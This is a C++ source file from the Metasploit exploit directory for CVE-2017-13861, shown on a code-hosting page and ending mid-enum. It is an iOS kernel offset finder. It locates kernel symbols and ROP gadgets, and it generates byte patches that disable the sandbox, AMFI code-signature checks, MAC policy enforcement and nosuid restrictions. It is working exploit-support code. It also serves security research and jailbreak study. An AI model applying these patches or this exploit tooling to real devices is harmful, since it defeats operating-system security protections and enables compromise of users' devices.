CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2017-13861/liboffsetfinder64/liboffsetfinder64.cpp
Views: 11784
1
//
2
// offsetfinder64.cpp
3
// offsetfinder64
4
//
5
// Created by tihmstar on 10.01.18.
6
// Copyright © 2018 tihmstar. All rights reserved.
7
//
8
9
#include "liboffsetfinder64.hpp"
10
11
#define LOCAL_FILENAME "liboffsetfinder.cpp"
12
#include "all_liboffsetfinder.hpp"
13
14
extern "C"{
15
#include <stdio.h>
16
#include <fcntl.h>
17
#include <sys/stat.h>
18
#include <unistd.h>
19
#include <string.h>
20
#include "img4.h"
21
}
22
23
using namespace std;
24
using namespace tihmstar;
25
using namespace patchfinder64;
26
27
#pragma mark liboffsetfinder
28
29
#define HAS_BITS(a,b) (((a) & (b)) == (b))
30
#define _symtab getSymtab()
31
32
#define findstr(str,hasNullTerminator) memmem(str, sizeof(str)-(hasNullTerminator == 0))
33
34
#pragma mark macho external
35
36
__attribute__((always_inline)) struct load_command *find_load_command64(struct mach_header_64 *mh, uint32_t lc){
37
struct load_command *lcmd = (struct load_command *)(mh + 1);
38
for (uint32_t i=0; i<mh->ncmds; i++, lcmd = (struct load_command *)((uint8_t *)lcmd + lcmd->cmdsize)) {
39
if (lcmd->cmd == lc)
40
return lcmd;
41
}
42
43
retcustomerror(lc,load_command_not_found);
44
return NULL;
45
}
46
47
__attribute__((always_inline)) struct symtab_command *find_symtab_command(struct mach_header_64 *mh){
48
return (struct symtab_command *)find_load_command64(mh, LC_SYMTAB);
49
}
50
51
__attribute__((always_inline)) struct dysymtab_command *find_dysymtab_command(struct mach_header_64 *mh){
52
return (struct dysymtab_command *)find_load_command64(mh, LC_DYSYMTAB);
53
}
54
55
__attribute__((always_inline)) struct section_64 *find_section(struct segment_command_64 *seg, const char *sectname){
56
struct section_64 *sect = (struct section_64 *)(seg + 1);
57
for (uint32_t i=0; i<seg->nsects; i++, sect++) {
58
if (strcmp(sect->sectname, sectname) == 0)
59
return sect;
60
}
61
reterror("Failed to find section "+ string(sectname));
62
return NULL;
63
}
64
65
offsetfinder64::offsetfinder64(const char* filename, uint64_t kslide, tristate haveSymbols) :
66
_freeKernel(true),
67
__symtab(NULL),
68
_kslide(kslide),
69
_haveSymtab(haveSymbols)
70
{
71
struct stat fs = {0};
72
int fd = 0;
73
char *img4tmp = NULL;
74
auto clean =[&]{
75
if (fd>0) close(fd);
76
};
77
assure((fd = open(filename, O_RDONLY)) != -1);
78
assureclean(!fstat(fd, &fs));
79
assureclean((_kdata = (uint8_t*)malloc( _ksize = fs.st_size)));
80
assureclean(read(fd,_kdata,_ksize)==_ksize);
81
82
//check if feedfacf, fat, compressed (lzfse/lzss), img4, im4p
83
img4tmp = (char*)_kdata;
84
if (sequenceHasName(img4tmp, (char*)"IMG4")){
85
img4tmp = getElementFromIMG4((char*)_kdata, (char*)"IM4P");
86
}
87
if (sequenceHasName(img4tmp, (char*)"IM4P")){
88
char *extracted = NULL;
89
{
90
size_t klen;
91
const char* compname;
92
93
extracted = extractPayloadFromIM4P(img4tmp, &compname, &klen);
94
95
if (compname) {
96
//printf("%s comp detected, uncompressing : %s ...\n", compname, extracted ? "success" : "failure");
97
}
98
}
99
if (extracted != NULL) {
100
free(_kdata);
101
_kdata = (uint8_t*)extracted;
102
}
103
}
104
105
if (*(uint32_t*)_kdata == 0xbebafeca || *(uint32_t*)_kdata == 0xcafebabe) {
106
bool swap = *(uint32_t*)_kdata == 0xbebafeca;
107
108
uint8_t* tryfat = [=]() -> uint8_t* {
109
// just select first slice
110
uint32_t* kdata32 = (uint32_t*) _kdata;
111
uint32_t narch = kdata32[1];
112
if (swap) narch = ntohl(narch);
113
114
if (narch != 1) {
115
printf("expected 1 arch in fat file, got %u\n", narch);
116
return NULL;
117
}
118
119
uint32_t offset = kdata32[2 + 2];
120
if (swap) offset = ntohl(offset);
121
122
if (offset != sizeof(uint32_t)*(2 + 5)) {
123
printf("wat, file offset not sizeof(fat_header) + sizeof(fat_arch)?!\n");
124
}
125
126
uint32_t filesize = kdata32[2 + 3];
127
if (swap) filesize = ntohl(filesize);
128
129
uint8_t *ret = (uint8_t*) malloc(filesize);
130
if (ret != NULL) {
131
memcpy(ret, _kdata + offset, filesize);
132
}
133
return ret;
134
}();
135
136
if (tryfat != NULL) {
137
printf("got fat macho with first slice at %u\n", (uint32_t) (tryfat - _kdata));
138
free(_kdata);
139
_kdata = tryfat;
140
} else {
141
printf("got fat macho but failed to parse\n");
142
}
143
}
144
145
assureclean(*(uint32_t*)_kdata == 0xfeedfacf);
146
147
loadSegments();
148
clean();
149
}
150
151
void offsetfinder64::loadSegments(){
152
struct mach_header_64 *mh = (struct mach_header_64*)_kdata;
153
struct load_command *lcmd = (struct load_command *)(mh + 1);
154
for (uint32_t i=0; i<mh->ncmds; i++, lcmd = (struct load_command *)((uint8_t *)lcmd + lcmd->cmdsize)) {
155
if (lcmd->cmd == LC_SEGMENT_64){
156
struct segment_command_64* seg = (struct segment_command_64*)lcmd;
157
_segments.push_back({_kdata+seg->fileoff,seg->filesize, (loc_t)seg->vmaddr, (seg->maxprot & VM_PROT_EXECUTE) !=0});
158
if (i==0){
159
_kernel_base = _segments.back().base; //first segment is base. Is this correct??
160
}
161
}
162
if (lcmd->cmd == LC_UNIXTHREAD) {
163
uint32_t *ptr = (uint32_t *)(lcmd + 1);
164
uint32_t flavor = ptr[0];
165
struct _tread{
166
uint64_t x[29]; /* General purpose registers x0-x28 */
167
uint64_t fp; /* Frame pointer x29 */
168
uint64_t lr; /* Link register x30 */
169
uint64_t sp; /* Stack pointer x31 */
170
uint64_t pc; /* Program counter */
171
uint32_t cpsr; /* Current program status register */
172
} *thread = (struct _tread*)(ptr + 2);
173
if (flavor == 6) {
174
_kernel_entry = (patchfinder64::loc_t)(thread->pc);
175
}
176
}
177
}
178
179
try {
180
deref(_kernel_entry);
181
//info("Detected non-slid kernel.");
182
_kernelIsSlid = false;
183
} catch (tihmstar::out_of_range &e) {
184
info("Detected slid kernel. Using kernelslide=%p",(void*)_kslide);
185
_kernel_entry += _kslide;
186
_kernelIsSlid = true;
187
}
188
try {
189
deref(_kernel_entry);
190
} catch (tihmstar::out_of_range &e) {
191
reterror("Error occured when handling kernel entry checks");
192
}
193
194
//info("Inited offsetfinder64 %s %s",OFFSETFINDER64_VERSION_COMMIT_COUNT, OFFSETFINDER64_VERSION_COMMIT_SHA);
195
try {
196
getSymtab();
197
} catch (tihmstar::symtab_not_found &e) {
198
info("Symtab not found. Assuming we are operating on a dumped kernel");
199
}
200
//printf("\n");
201
}
202
203
offsetfinder64::offsetfinder64(void* buf, size_t size, uint64_t kslide, tristate haveSymbols) :
204
_freeKernel(false),
205
_kdata((uint8_t*)buf),
206
_ksize(size),
207
__symtab(NULL),
208
_kslide(kslide),
209
_haveSymtab(haveSymbols)
210
{
211
loadSegments();
212
}
213
214
const void *offsetfinder64::kdata(){
215
return _kdata;
216
}
217
218
loc_t offsetfinder64::find_entry(){
219
return _kernel_entry;
220
}
221
222
loc_t offsetfinder64::find_base(){
223
return _kernel_base;
224
}
225
226
bool offsetfinder64::haveSymbols(){
227
if (_haveSymtab == kuninitialized) {
228
try {
229
getSymtab();
230
_haveSymtab = ktrue;
231
} catch (tihmstar::symtab_not_found &e) {
232
_haveSymtab = kfalse;
233
}
234
}
235
return _haveSymtab;
236
}
237
238
#pragma mark macho offsetfinder
239
__attribute__((always_inline)) struct symtab_command *offsetfinder64::getSymtab(){
240
if (!__symtab){
241
try {
242
__symtab = find_symtab_command((struct mach_header_64 *)_kdata);
243
} catch (tihmstar::load_command_not_found &e) {
244
if (e.cmd() != LC_SYMTAB)
245
throw;
246
retcustomerror("symtab not found. Is this a dumped kernel?", symtab_not_found);
247
}
248
}
249
return __symtab;
250
}
251
252
#pragma mark offsetfidner
253
254
loc_t offsetfinder64::memmem(const void *little, size_t little_len){
255
for (auto seg : _segments) {
256
if (loc_t rt = (loc_t)::memmem(seg.map, seg.size, little, little_len)) {
257
return rt-seg.map+seg.base;
258
}
259
}
260
return 0;
261
}
262
263
uint64_t offsetfinder64::deref(loc_t pos){
264
return insn::deref(_segments,pos);
265
}
266
267
loc_t offsetfinder64::find_sym(const char *sym){
268
uint8_t *psymtab = _kdata + _symtab->symoff;
269
uint8_t *pstrtab = _kdata + _symtab->stroff;
270
271
struct nlist_64 *entry = (struct nlist_64 *)psymtab;
272
for (uint32_t i = 0; i < _symtab->nsyms; i++, entry++)
273
if (!strcmp(sym, (char*)(pstrtab + entry->n_un.n_strx)))
274
return (loc_t)entry->n_value;
275
276
return 0;
277
}
278
279
loc_t offsetfinder64::find_syscall0(){
280
constexpr char sig_syscall_3[] = "\x06\x00\x00\x00\x03\x00\x0c\x00";
281
loc_t sys3 = memmem(sig_syscall_3, sizeof(sig_syscall_3)-1);
282
return sys3 - (3 * 0x18) + 0x8;
283
}
284
285
286
#pragma mark patchfinder64
287
288
namespace tihmstar{
289
namespace patchfinder64{
290
291
loc_t jump_stub_call_ptr_loc(insn bl_insn){
292
assure(bl_insn == insn::bl);
293
insn fdst(bl_insn,(loc_t)bl_insn.imm());
294
insn ldr((fdst+1));
295
if (!((fdst == insn::adrp && ldr == insn::ldr && (fdst+2) == insn::br))) {
296
retcustomerror("branch destination not jump_stub_call", bad_branch_destination);
297
}
298
return (loc_t)fdst.imm() + ldr.imm();
299
}
300
301
bool is_call_to_jump_stub(insn bl_insn){
302
try {
303
jump_stub_call_ptr_loc(bl_insn);
304
return true;
305
} catch (tihmstar::bad_branch_destination &e) {
306
return false;
307
}
308
}
309
310
}
311
}
312
313
#pragma mark common patchs
314
constexpr char patch_nop[] = "\x1F\x20\x03\xD5";
315
constexpr size_t patch_nop_size = sizeof(patch_nop)-1;
316
317
uint64_t offsetfinder64::find_register_value(loc_t where, int reg, loc_t startAddr){
318
insn functop(_segments, where);
319
320
if (!startAddr) {
321
//might be functop
322
//good enough for my purpose
323
while (--functop != insn::stp || (functop+1) != insn::stp || (functop+2) != insn::stp);
324
}else{
325
functop = startAddr;
326
}
327
328
uint64_t value[32] = {0};
329
330
for (;(loc_t)functop.pc() < where;++functop) {
331
332
switch (functop.type()) {
333
case patchfinder64::insn::adrp:
334
value[functop.rd()] = functop.imm();
335
// printf("%p: ADRP X%d, 0x%llx\n", (void*)functop.pc(), functop.rd(), functop.imm());
336
break;
337
case patchfinder64::insn::add:
338
value[functop.rd()] = value[functop.rn()] + functop.imm();
339
// printf("%p: ADD X%d, X%d, 0x%llx\n", (void*)functop.pc(), functop.rd(), functop.rn(), (uint64_t)functop.imm());
340
break;
341
case patchfinder64::insn::adr:
342
value[functop.rd()] = functop.imm();
343
// printf("%p: ADR X%d, 0x%llx\n", (void*)functop.pc(), functop.rd(), functop.imm());
344
break;
345
case patchfinder64::insn::ldr:
346
// printf("%p: LDR X%d, [X%d, 0x%llx]\n", (void*)functop.pc(), functop.rt(), functop.rn(), (uint64_t)functop.imm());
347
value[functop.rt()] = value[functop.rn()] + functop.imm(); // XXX address, not actual value
348
break;
349
default:
350
break;
351
}
352
}
353
return value[reg];
354
}
355
356
#pragma mark v0rtex
357
loc_t offsetfinder64::find_zone_map(){
358
loc_t str = findstr("zone_init",true);
359
retassure(str, "Failed to find str");
360
361
loc_t ref = find_literal_ref(_segments, str);
362
retassure(ref, "literal ref to str");
363
364
insn ptr(_segments,ref);
365
366
loc_t ret = 0;
367
368
while (++ptr != insn::adrp);
369
ret = (loc_t)ptr.imm();
370
371
while (++ptr != insn::add);
372
ret += ptr.imm();
373
374
return ret;
375
}
376
377
loc_t offsetfinder64::find_kernel_map(){
378
return find_sym("_kernel_map");
379
}
380
381
loc_t offsetfinder64::find_kernel_task(){
382
return find_sym("_kernel_task");
383
}
384
385
loc_t offsetfinder64::find_realhost(){
386
loc_t sym = find_sym("_KUNCExecute");
387
388
insn ptr(_segments,sym);
389
390
loc_t ret = 0;
391
392
while (++ptr != insn::adrp);
393
ret = (loc_t)ptr.imm();
394
395
while (++ptr != insn::add);
396
ret += ptr.imm();
397
398
return ret;
399
}
400
401
loc_t offsetfinder64::find_bzero(){
402
return find_sym("___bzero");
403
}
404
405
loc_t offsetfinder64::find_bcopy(){
406
return find_sym("_bcopy");
407
}
408
409
loc_t offsetfinder64::find_copyout(){
410
return find_sym("_copyout");
411
}
412
413
loc_t offsetfinder64::find_copyin(){
414
return find_sym("_copyin");
415
}
416
417
loc_t offsetfinder64::find_ipc_port_alloc_special(){
418
loc_t sym = find_sym("_KUNCGetNotificationID");
419
insn ptr(_segments,sym);
420
421
while (++ptr != insn::bl);
422
while (++ptr != insn::bl);
423
424
return (loc_t)ptr.imm();
425
}
426
427
loc_t offsetfinder64::find_ipc_kobject_set(){
428
loc_t sym = find_sym("_KUNCGetNotificationID");
429
insn ptr(_segments,sym);
430
431
while (++ptr != insn::bl);
432
while (++ptr != insn::bl);
433
while (++ptr != insn::bl);
434
435
return (loc_t)ptr.imm();
436
}
437
438
loc_t offsetfinder64::find_ipc_port_make_send(){
439
loc_t sym = find_sym("_convert_task_to_port");
440
insn ptr(_segments,sym);
441
while (++ptr != insn::bl);
442
while (++ptr != insn::bl);
443
444
return (loc_t)ptr.imm();
445
}
446
447
loc_t offsetfinder64::find_chgproccnt(){
448
loc_t str = findstr("\"chgproccnt: lost user\"",true);
449
retassure(str, "Failed to find str");
450
451
loc_t ref = find_literal_ref(_segments, str);
452
retassure(ref, "literal ref to str");
453
454
insn functop(_segments,ref);
455
456
while (--functop != insn::stp);
457
while (--functop == insn::stp);
458
++functop;
459
460
return (loc_t)functop.pc();
461
}
462
463
loc_t offsetfinder64::find_kauth_cred_ref(){
464
return find_sym("_kauth_cred_ref");
465
}
466
467
loc_t offsetfinder64::find_osserializer_serialize(){
468
return find_sym("__ZNK12OSSerializer9serializeEP11OSSerialize");
469
}
470
471
uint32_t offsetfinder64::find_vtab_get_external_trap_for_index(){
472
loc_t sym = find_sym("__ZTV12IOUserClient");
473
sym += 2*sizeof(uint64_t);
474
475
loc_t nn = find_sym("__ZN12IOUserClient23getExternalTrapForIndexEj");
476
477
insn data(_segments,sym,insn::kText_and_Data);
478
--data;
479
for (int i=0; i<0x200; i++) {
480
if ((++data).doublevalue() == (uint64_t)nn)
481
return i;
482
++data;
483
}
484
return 0;
485
}
486
487
uint32_t offsetfinder64::find_vtab_get_retain_count(){
488
loc_t sym = find_sym("__ZTV12IOUserClient");
489
sym += 2*sizeof(uint64_t);
490
491
loc_t nn = find_sym("__ZNK8OSObject14getRetainCountEv");
492
493
insn data(_segments,sym,insn::kText_and_Data);
494
--data;
495
for (int i=0; i<0x200; i++) {
496
if ((++data).doublevalue() == (uint64_t)nn)
497
return i;
498
++data;
499
}
500
return 0;
501
}
502
503
uint32_t offsetfinder64::find_proc_ucred(){
504
loc_t sym = find_sym("_proc_ucred");
505
return (uint32_t)insn(_segments,sym).imm();
506
}
507
508
uint32_t offsetfinder64::find_task_bsd_info(){
509
loc_t sym = find_sym("_get_bsdtask_info");
510
return (uint32_t)insn(_segments,sym).imm();
511
}
512
513
uint32_t offsetfinder64::find_vm_map_hdr(){
514
loc_t sym = find_sym("_vm_map_create");
515
516
insn stp(_segments, sym);
517
518
while (++stp != insn::bl);
519
520
while (++stp != insn::cbz && stp != insn::cbnz);
521
522
while (++stp != insn::stp || stp.rt() != stp.other());
523
524
return (uint32_t)stp.imm();
525
}
526
527
typedef struct mig_subsystem_struct {
528
uint32_t min;
529
uint32_t max;
530
char *names;
531
} mig_subsys;
532
533
mig_subsys task_subsys ={ 0xd48, 0xd7a , NULL};
534
uint32_t offsetfinder64::find_task_itk_self(){
535
loc_t task_subsystem=memmem(&task_subsys, 4);
536
assure(task_subsystem);
537
task_subsystem += 4*sizeof(uint64_t); //index0 now
538
539
insn mach_ports_register(_segments, (loc_t)insn::deref(_segments, task_subsystem+3*5*8));
540
541
while (++mach_ports_register != insn::bl || mach_ports_register.imm() != (uint64_t)find_sym("_lck_mtx_lock"));
542
543
insn ldr(mach_ports_register);
544
545
while (++ldr != insn::ldr || (ldr+1) != insn::cbz);
546
547
return (uint32_t)ldr.imm();
548
}
549
550
uint32_t offsetfinder64::find_task_itk_registered(){
551
loc_t task_subsystem=memmem(&task_subsys, 4);
552
assure(task_subsystem);
553
task_subsystem += 4*sizeof(uint64_t); //index0 now
554
555
insn mach_ports_register(_segments, (loc_t)insn::deref(_segments, task_subsystem+3*5*8));
556
557
while (++mach_ports_register != insn::bl || mach_ports_register.imm() != (uint64_t)find_sym("_lck_mtx_lock"));
558
559
insn ldr(mach_ports_register);
560
561
while (++ldr != insn::ldr || (ldr+1) != insn::cbz);
562
while (++ldr != insn::ldr);
563
564
return (uint32_t)ldr.imm();
565
}
566
567
568
//IOUSERCLIENT_IPC
569
mig_subsys host_priv_subsys = { 400, 426 } ;
570
uint32_t offsetfinder64::find_iouserclient_ipc(){
571
loc_t host_priv_subsystem=memmem(&host_priv_subsys, 8);
572
assure(host_priv_subsystem);
573
574
insn memiterator(_segments,host_priv_subsystem,insn::kData_only);
575
loc_t thetable = 0;
576
while (1){
577
--memiterator;--memiterator; //dec 8 byte
578
struct _anon{
579
uint64_t ptr;
580
uint64_t z0;
581
uint64_t z1;
582
uint64_t z2;
583
} *obj = (struct _anon*)(void*)memiterator;
584
585
if (!obj->z0 && !obj->z1 &&
586
!memcmp(&obj[0], &obj[1], sizeof(struct _anon)) &&
587
!memcmp(&obj[0], &obj[2], sizeof(struct _anon)) &&
588
!memcmp(&obj[0], &obj[3], sizeof(struct _anon)) &&
589
!memcmp(&obj[0], &obj[4], sizeof(struct _anon)) &&
590
!obj[-1].ptr && obj[-1].z0 == 1 && !obj[-1].z1) {
591
thetable = (loc_t)memiterator.pc();
592
break;
593
}
594
}
595
596
loc_t iokit_user_client_trap_func = (loc_t)insn::deref(_segments, thetable + 100*4*8 - 8);
597
598
insn bl_to_iokit_add_connect_reference(_segments,iokit_user_client_trap_func);
599
while (++bl_to_iokit_add_connect_reference != insn::bl);
600
601
insn iokit_add_connect_reference(bl_to_iokit_add_connect_reference,(loc_t)bl_to_iokit_add_connect_reference.imm());
602
603
while (++iokit_add_connect_reference != insn::add || iokit_add_connect_reference.rd() != 8 || ++iokit_add_connect_reference != insn::ldxr || iokit_add_connect_reference.rn() != 8);
604
605
return (uint32_t)((--iokit_add_connect_reference).imm());
606
}
607
608
uint32_t offsetfinder64::find_ipc_space_is_task_11(){
609
loc_t str = findstr("\"ipc_task_init\"",true);
610
retassure(str, "Failed to find str");
611
612
loc_t ref = find_literal_ref(_segments, str,1);
613
retassure(ref, "literal ref to str");
614
615
insn istr(_segments,ref);
616
617
while (--istr != insn::str);
618
619
return (uint32_t)istr.imm();
620
}
621
622
uint32_t offsetfinder64::find_ipc_space_is_task(){
623
loc_t str = findstr("\"ipc_task_init\"",true);
624
retassure(str, "Failed to find str");
625
626
loc_t ref = find_literal_ref(_segments, str);
627
retassure(ref, "literal ref to str");
628
629
loc_t bref = 0;
630
bool do_backup_plan = false;
631
632
bref = find_rel_branch_source(insn(_segments,ref), true, 2, 0x2000);
633
634
if (bref == 0) {
635
//previous attempt doesn't work on some 10.0.2 devices, trying something else...
636
do_backup_plan = bref = find_rel_branch_source(insn(_segments,ref), true, 1, 0x2000);
637
if (bref == 0) {
638
//this seems to be good for iOS 9.3.3
639
do_backup_plan = bref = find_rel_branch_source(insn(_segments,ref-4), true, 1, 0x2000);
640
if (bref == 0) {
641
//this is for iOS 11(.2.6)
642
return find_ipc_space_is_task_11();
643
}
644
}
645
}
646
647
insn istr(_segments,bref);
648
649
if (!do_backup_plan) {
650
while (++istr != insn::str);
651
}else{
652
while (--istr != insn::str);
653
}
654
655
return (uint32_t)istr.imm();
656
}
657
658
uint32_t offsetfinder64::find_sizeof_task(){
659
loc_t str = findstr("\0tasks",true)+1;
660
retassure(str, "Failed to find str");
661
662
loc_t ref = find_literal_ref(_segments, str);
663
retassure(ref, "literal ref to str");
664
665
insn thebl(_segments, ref);
666
667
loc_t zinit = 0;
668
zinit = find_sym("_zinit");
669
if (zinit == 0) {
670
loc_t str = findstr("zlog%d",true);
671
retassure(str, "Failed to find str2");
672
673
loc_t ref = find_literal_ref(_segments, str);
674
retassure(ref, "literal ref to str2");
675
676
insn functop(_segments,ref);
677
while (--functop != insn::stp || (functop+1) != insn::stp || (functop+2) != insn::stp || (functop-1) != insn::ret);
678
zinit = (loc_t)functop.pc();
679
}
680
681
while (++thebl != insn::bl || (loc_t)thebl.imm() != zinit);
682
683
--thebl;
684
685
return (uint32_t)thebl.imm();
686
}
687
688
loc_t offsetfinder64::find_rop_add_x0_x0_0x10(){
689
constexpr char ropbytes[] = "\x00\x40\x00\x91\xC0\x03\x5F\xD6";
690
return [](const void *little, size_t little_len, vector<text_t>segments)->loc_t{
691
for (auto seg : segments) {
692
if (!seg.isExec)
693
continue;
694
695
if (loc_t rt = (loc_t)::memmem(seg.map, seg.size, little, little_len)) {
696
return rt-seg.map+seg.base;
697
}
698
}
699
return 0;
700
}(ropbytes,sizeof(ropbytes)-1,_segments);
701
}
702
703
loc_t offsetfinder64::find_rop_ldr_x0_x0_0x10(){
704
constexpr char ropbytes[] = "\x00\x08\x40\xF9\xC0\x03\x5F\xD6";
705
return [](const void *little, size_t little_len, vector<text_t>segments)->loc_t{
706
for (auto seg : segments) {
707
if (!seg.isExec)
708
continue;
709
710
if (loc_t rt = (loc_t)::memmem(seg.map, seg.size, little, little_len)) {
711
return rt-seg.map+seg.base;
712
}
713
}
714
return 0;
715
}(ropbytes,sizeof(ropbytes)-1,_segments);
716
}
717
718
loc_t offsetfinder64::find_exec(std::function<bool(patchfinder64::insn &i)>cmpfunc){
719
insn i(_segments);
720
while (true) {
721
if (cmpfunc(i))
722
return i;
723
try {
724
++i;
725
} catch (out_of_range &e) {
726
break;
727
}
728
}
729
return 0;
730
}
731
732
733
734
#pragma mark patch_finders
735
void slide_ptr(class patch *p,uint64_t slide){
736
slide += *(uint64_t*)p->_patch;
737
memcpy((void*)p->_patch, &slide, 8);
738
}
739
740
patch offsetfinder64::find_sandbox_patch(){
741
loc_t str = findstr("process-exec denied while updating label",false);
742
retassure(str, "Failed to find str");
743
744
loc_t ref = find_literal_ref(_segments, str);
745
retassure(ref, "literal ref to str");
746
747
insn bdst(_segments, ref);
748
for (int i=0; i<4; i++) {
749
while (--bdst != insn::bl){
750
}
751
}
752
--bdst;
753
754
loc_t cbz = find_rel_branch_source(bdst, true);
755
756
return patch(cbz, patch_nop, patch_nop_size);
757
}
758
759
760
patch offsetfinder64::find_amfi_substrate_patch(){
761
loc_t str = findstr("AMFI: hook..execve() killing pid %u: %s",false);
762
retassure(str, "Failed to find str");
763
764
loc_t ref = find_literal_ref(_segments, str);
765
retassure(ref, "literal ref to str");
766
767
insn funcend(_segments, ref);
768
while (++funcend != insn::ret);
769
770
insn tbnz(funcend);
771
while (--tbnz != insn::tbnz);
772
773
constexpr char mypatch[] = "\x1F\x20\x03\xD5\x08\x79\x16\x12\x1F\x20\x03\xD5\x00\x00\x80\x52\xE9\x01\x80\x52";
774
return {(loc_t)tbnz.pc(),mypatch,sizeof(mypatch)-1};
775
}
776
777
patch offsetfinder64::find_cs_enforcement_disable_amfi(){
778
loc_t str = findstr("csflags",true);
779
retassure(str, "Failed to find str");
780
781
loc_t ref = find_literal_ref(_segments, str);
782
retassure(ref, "literal ref to str");
783
784
insn cbz(_segments, ref);
785
while (--cbz != insn::cbz);
786
787
insn movz(cbz);
788
while (++movz != insn::movz);
789
--movz;
790
791
int anz = static_cast<int>((movz.pc()-cbz.pc())/4 +1);
792
793
char mypatch[anz*4];
794
for (int i=0; i<anz; i++) {
795
((uint32_t*)mypatch)[i] = *(uint32_t*)patch_nop;
796
}
797
798
return {(loc_t)cbz.pc(),mypatch,static_cast<size_t>(anz*4)};
799
}
800
801
patch offsetfinder64::find_i_can_has_debugger_patch_off(){
802
loc_t str = findstr("Darwin Kernel",false);
803
retassure(str, "Failed to find str");
804
805
str -=4;
806
807
return {str,"\x01",1};
808
}
809
810
patch offsetfinder64::find_amfi_patch_offsets(){
811
loc_t str = findstr("int _validateCodeDirectoryHashInDaemon",false);
812
retassure(str, "Failed to find str");
813
814
loc_t ref = find_literal_ref(_segments, str);
815
retassure(ref, "literal ref to str");
816
817
insn bl_amfi_memcp(_segments, ref);
818
819
loc_t memcmp = 0;
820
821
loc_t jscpl = 0;
822
while (1) {
823
while (++bl_amfi_memcp != insn::bl);
824
825
try {
826
jscpl = jump_stub_call_ptr_loc(bl_amfi_memcp);
827
} catch (tihmstar::bad_branch_destination &e) {
828
continue;
829
}
830
if (haveSymbols()) {
831
if (insn::deref(_segments, jscpl) == (uint64_t)(memcmp = find_sym("_memcmp")))
832
break;
833
}else{
834
//check for _memcmp function signature
835
insn checker(_segments, memcmp = (loc_t)insn::deref(_segments, jscpl));
836
if (checker == insn::cbz
837
&& (++checker == insn::ldrb && checker.rn() == 0)
838
&& (++checker == insn::ldrb && checker.rn() == 1)
839
// ++checker == insn::sub //i'm too lazy to implement this now, first 3 instructions should be good enough though.
840
) {
841
break;
842
}
843
}
844
845
}
846
847
/* find*/
848
//movz w0, #0x0
849
//ret
850
insn ret0(_segments, memcmp);
851
for (;; --ret0) {
852
if (ret0 == insn::movz && ret0.rd() == 0 && ret0.imm() == 0 && (ret0+1) == insn::ret) {
853
break;
854
}
855
}
856
857
uint64_t gadget = ret0.pc();
858
return {jscpl,&gadget,sizeof(gadget),slide_ptr};
859
}
860
861
patch offsetfinder64::find_proc_enforce(){
862
loc_t str = findstr("Enforce MAC policy on process operations", false);
863
retassure(str, "Failed to find str");
864
865
loc_t valref = memmem(&str, sizeof(str));
866
retassure(valref, "Failed to find val ref");
867
868
loc_t proc_enforce_ptr = valref - (5 * sizeof(uint64_t));
869
870
loc_t proc_enforce_val_loc = (loc_t)insn::deref(_segments, proc_enforce_ptr);
871
872
uint8_t mypatch = 1;
873
return {proc_enforce_val_loc,&mypatch,1};
874
}
875
876
vector<patch> offsetfinder64::find_nosuid_off(){
877
loc_t str = findstr("\"mount_common(): mount of %s filesystem failed with %d, but vnode list is not empty.\"", false);
878
retassure(str, "Failed to find str");
879
880
loc_t ref = find_literal_ref(_segments, str);
881
retassure(ref, "literal ref to str");
882
883
insn ldr(_segments,ref);
884
885
while (--ldr != insn::ldr);
886
887
loc_t cbnz = find_rel_branch_source(ldr, 1);
888
889
insn bl_vfs_context_is64bit(ldr,cbnz);
890
while (--bl_vfs_context_is64bit != insn::bl || bl_vfs_context_is64bit.imm() != (uint64_t)find_sym("_vfs_context_is64bit"));
891
892
//patch1
893
insn movk(bl_vfs_context_is64bit);
894
while (--movk != insn::movk || movk.imm() != 8);
895
896
//patch2
897
insn orr(bl_vfs_context_is64bit);
898
while (--orr != insn::orr || movk.imm() != 8);
899
900
return {{(loc_t)movk.pc(),patch_nop,patch_nop_size},{(loc_t)orr.pc(),"\xE9\x03\x08\x2A",4}}; // mov w9, w8
901
}
902
903
patch offsetfinder64::find_remount_patch_offset(){
904
loc_t off = find_syscall0();
905
906
loc_t syscall_mac_mount = (off + 3*(424-1)*sizeof(uint64_t));
907
908
loc_t __mac_mount = (loc_t)insn::deref(_segments, syscall_mac_mount);
909
910
insn patchloc(_segments, __mac_mount);
911
912
while (++patchloc != insn::tbz || patchloc.rt() != 8 || patchloc.other() != 6);
913
914
--patchloc;
915
916
constexpr char mypatch[] = "\xC8\x00\x80\x52"; //movz w8, #0x6
917
return {(loc_t)patchloc.pc(),mypatch,sizeof(mypatch)-1};
918
}
919
920
patch offsetfinder64::find_lwvm_patch_offsets(){
921
loc_t str = findstr("_mapForIO", false);
922
retassure(str, "Failed to find str");
923
924
loc_t ref = find_literal_ref(_segments, str);
925
retassure(ref, "literal ref to str");
926
927
insn functop(_segments,ref);
928
929
while (--functop != insn::stp || (functop+1) != insn::stp || (functop+2) != insn::stp || (functop-2) != insn::ret);
930
931
insn dstfunc(functop);
932
loc_t destination = 0;
933
while (1) {
934
while (++dstfunc != insn::bl);
935
936
try {
937
destination = jump_stub_call_ptr_loc(dstfunc);
938
} catch (tihmstar::bad_branch_destination &e) {
939
continue;
940
}
941
942
if (haveSymbols()) {
943
if (insn::deref(_segments, destination) == (uint64_t)find_sym("_PE_i_can_has_kernel_configuration"))
944
break;
945
}else{
946
//check for _memcmp function signature
947
insn checker(_segments, (loc_t)insn::deref(_segments, destination));
948
uint8_t reg = 0;
949
if ((checker == insn::adrp && (static_cast<void>(reg = checker.rd()),true))
950
&& (++checker == insn::add && checker.rd() == reg)
951
&& ++checker == insn::ldr
952
&& ++checker == insn::ret
953
) {
954
break;
955
}
956
}
957
958
}
959
960
while (++dstfunc != insn::bcond || dstfunc.other() != insn::cond::NE);
961
962
loc_t target = (loc_t)dstfunc.imm();
963
964
return {destination,&target,sizeof(target),slide_ptr};
965
}
966
967
loc_t offsetfinder64::find_sbops(){
968
loc_t str = findstr("Seatbelt sandbox policy", false);
969
retassure(str, "Failed to find str");
970
971
loc_t ref = memmem(&str, sizeof(str));
972
retassure(ref, "Failed to find ref");
973
974
return (loc_t)insn::deref(_segments, ref+0x18);
975
}
976
977
enum OFVariableType : uint32_t{
978
kOFVariableTypeBoolean = 1,
979
kOFVariableTypeNumber,
980
kOFVariableTypeString,
981
kOFVariableTypeData
982
} ;
983
984
enum OFVariablePerm : uint32_t{
985
kOFVariablePermRootOnly = 0,
986
kOFVariablePermUserRead,
987
